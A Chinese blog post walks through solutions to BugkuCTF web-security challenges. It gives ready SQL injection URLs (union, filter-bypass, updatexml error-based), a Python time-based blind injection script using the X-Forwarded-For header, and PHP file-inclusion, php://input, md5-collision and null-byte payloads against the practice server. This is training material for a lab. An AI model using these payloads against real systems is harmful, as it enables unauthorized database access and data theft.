BugkuCTF-WEB

2020-03-26 229次浏览 0条评论  前往评论

前言

最近把bugku的基础web题都刷完了。里面有大概10道题都不能访问。这里记录一下解题的过程。

备份是个好习惯

题目提示:听说备份是个好习惯。

于是试着加入后缀index.php.bak,然后看到提示下载。然后打开下载的备份文件看到:

image-20200322105903654

就是要传入的两个值的md5相等,但是两个值不相等。

解决方式一:md5函数无法处理数组,如果传入数组会返回NULL。构造url:

http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=2

解决方式二:如果字符经过md5加密后的值为0exx的形式,会被认为是科学计数法,且表示0*10的xxxx次方,还是零。构造url:

http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708
变量1

打开网页看到

image-20200322104141287

题目已经通过正则表达式对$args进行了过滤,但是这里可以使用超全局变量$GLOBALS。

因为PHP在$GLOBALS[index]数组中储存了所有全局变量,变量的名字就是数组的键。

构造url:

http://123.206.87.240:8004/index1.php?args=GLOBALS
flag在index里

打开页面如下:

image-20200320140041305

看到file知道应该是文件包含漏洞,但不知道如何下手,看wp之后知道可以用PHP内置协议php://filter

构造url:

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

可以看到通过base64加密后的源码已经爆出,解密,得到flag。

成绩单

打开网页如下:

image-20200322144603485

一开始我就觉得是sql注入,但是还是没有做出来,然后看了wp觉得好简单。

查数据库

id=0' union select 1,2,3,database()--

查表名

id=0' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf_flag'--

查字段名

id=0' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'-- 

查内容

id=0' union select 1,2,3,skctf_flag from fl4g--

得到flag

秋名山老司机

打开网页看到如下:

image-20200322165647628

本题要求计算响应内容中的表达式并用 POST 请求返回结果,但是必须在两秒之内完成。所以靠手工的方法是做不到的。这里可以利用python里面的request写一个脚本。详情可参考:传送门

脚本如下:

image-20200322201254499

这里的会话对象 Session() 能够在多次请求中保持参数,然后是引入 re 模块,其次用 search() 正则匹配算术表达式,匹配成功后用 group() 返回算术表达式的字符串。获得算术表达式的字符串后,直接利用 Python 的內建方法 eval() 来计算出结果。然后运行脚本就可得到flag。

速度要快

打开网页如下:

image-20200322212200486

然后查看响应头和网页的源代码发现:

image-20200322212837581

应该是要提交以margin为key,flag里的值为value然后以post的方式提交数据。但是有一个问题就是手动提交没成功,查看wp发现和秋名山老司机那一题是差不多的。他的flag是不断在变的。所以需要写一个脚本来得到flag。

image-20200322213958769


打开网页发现:

image-20200323114059871

这里把filename后面的字符串base64解码后发现是keys.txt。然后试着把index.php传上去,这里需要base64编码后再上传。然后line的值输入数字之后发现出现一行一行的代码,这里可以写个脚本把所有的代码显示出来。

image-20200323115824785

分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php。

image-20200323120059198

Never give up

打开网页如下所示:

image-20200323212638319

发现源代码里面有一个1p.html,但是直接访问这个的话是会跳转到官网里面。所以使用burp suite抓包,然后经过一系列的编码后发现一段php的代码。

image-20200324095112996

这里其实直接打开http://123.206.87.240:8006/test/f4l2a3g.txt即可获得flag了。但是看wp之后有人说可能是出题人的失误。所以还有另外一种解法。

第1行:限制 URL 查询字符串中必须有非空非零变量id

这里弱类型比较的时候,字符串是等于0的。

弱类型比较详情:传送门

第9行:限制变量$a中不能含有字符.

第15行:要满足以下 5 条表达式才会爆 flag:

  • 变量$data弱等于字符串bugku is a nice plateform!

这里的变量$data是由file_get_contents()函数读取的,所以直接给a赋值是不行的,这里要用伪协议 php:// 来访问输入输出的数据流。其中php://input 可以访问原始请求数据中的只读流。这里令 $a = "php://input",并在请求主体中提交字符串 bugku is a nice plateform!

有关 PHP 伪协议的详情:传送门

  • 变量$id弱等于整型数0
  • 变量$b的长度大于5
  • 字符串1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配。

ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

源码中待匹配字符串(第二个参数)已确定为 "1114",正则表达式(第一个参数)由 "111" 连接 $b 的第一个字符组成,若令 substr($b,0,1) = "\x00",即满足 "1114""111" 匹配。因此,这里假设 $b = "\x0012345",才能满足以上三个条件。

  • 变量 $b 的第一个字符弱不等于整型数 4

构造payload后爆出flag

这里要注意的是在构造变量 b 中的空字符时,过早将空字符 \x00 放入,在提交请求时导致请求头截断,继而请求失败,得不到响应。因为 b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00

image-20200324155132388

字符?正则?

image-20200325174427232

题目如上:可以看出只要我们构造出符合正则表达式的字符串通过GET传参就可以看到flag。所以首先要分析这个正则。

定界符:/和/ 一般来说是这两个。

. (一个点):表示可以匹配任何字符。

{n,m} :前面的字符重复4~7次。

\ (反斜线):后面的字符被转义。

[a-z] :在a到z中匹配。

[[:punct:]] :匹配任何标点符号。

/i :表示这个正则表达式对大小写不敏感。

这里我构造的payload为:key1key11111key:/1/1keya>

通过get传参即可得到flag。

web8

题目如下:

image-20200325183547450

首先分析一下这个题目:

ac变量不为空,fn要用php://input读取,和前面的题目有一些类似

image-20200325183817128

这道题是自己做出来的flag,虽然题目简单,还是挺开心的,终于不用看wp了。

求getshell

题目如下

image-20200325203204296

用burpsuite抓包后改这三个地方即可得到flag

image-20200325203355071

没想到是这样就得出flag,一开始我只改了下面两个箭头,还拿菜刀在那里连个半天。

INSERT INTO注入

image-20200326201031090

题目直接给出了源代码,并且告知要写python脚本。

这里用explode函数将字符串转换成数组,并且是根据逗号分割的。所以这里

if(expr1,expr2,expr3)这个函数就用不了了,这里可以用这个代替。

select case when xxx then xxx else xxx end

同时substr(database(),1,1)等同于substr(database() from 1 for 1)

查数据库名:

import requests
import string

mystring = string.ascii_letters+string.digits
url='http://123.206.87.240:8002/web15/'
data = "1' and (select case when (substr(database() from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"
flag = ''

for i in range(1,7):
    for j in mystring:
        try:
            headers = {'x-forwarded-for':data.format(str(i),j)}
            res = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag += j
            print flag
            break

print 'The final flag:'+flag

跑出的结果是web15。timeout的值可以大一些比如4,5。结果会更加准确。

查表名:

把上述代码database()换成如下:

(select group_concat(table_name) from information_schema.tables where table_schema=database())

跑出的结果是clientipflag。

查字段名:

把上述代码database()换成如下:

(select group_concat(column_name) from information_schema.columns where table_name='flag')

跑出来的结果是flag。

查内容:

把上述代码database()换成如下:

(select flag from flag)

跑出来的结果是cdbf14c9551d5be5612f7bb5d2867853。

多次

题目的url为:

http://123.206.87.240:9004/1ndex.php?id=1

id=5的时候,页面提示You can do some SQL injection in here.

说明是一道注入题。这时候id输入1'页面报错,继续输入1'--+没有报错,再输入1' and 1=1--+却报错了,说明and应该是被过滤了。

这里可以使用异或注入来判断过滤了什么字符。

在id=1后面输入'^(0)^'

如果括号里面为0的话,整体为1,页面显示正确。括号里面为1,整体为0,页面显示错误。

?id=1'^(length('and')!=0)^'

如果输入上面的字符,而页面显示正确的话,就说明and被过滤了。

经过测试,发现union,select,or,and都被过滤了。from没有被过滤。

这时候就可以构造url查数据库,查表,查字段,查内容了。

http://123.206.87.240:9004/1ndex.php?id=-1' uunionnion sselectelect 1,database()--+
#web1002-1

http://123.206.87.240:9004/1ndex.php?id=-1' uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1'--+
#flag1,hint

http://123.206.87.240:9004/1ndex.php?id=-1' uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
#flag1,address

http://123.206.87.240:9004/1ndex.php?id=-1' uunionnion sselectelect 1,select flag1 from flag1--+
#usOwycTju+FTUUzXosjr

然后查address的时候发下还有下一关。

然后发现union,sleep,substr被过滤,select,or,and,from没有被过滤。

但是双写无法绕过,大小写无法绕过。

这里可以使用updatexml报错注入。

http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
#web1002-2

http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'  limit 1),0x7e),1)--+
#class,flag2

http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2' ),0x7e),1)--+
#flag2,address

http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)--+
#flag{Bugku-sql_6s-2i-4t-bug}
flag.php

image-20200331150635411

打开发现如上:

底下还有一段:

image-20200331150809369

应该迷惑的,KEY的值是0。上面并没有定义。

 <?php
print_r(serialize("$KEY"));
?>
//s:0:""

最后传参cookie即可:ISecer=s:0:""



登录后回复

共有0条评论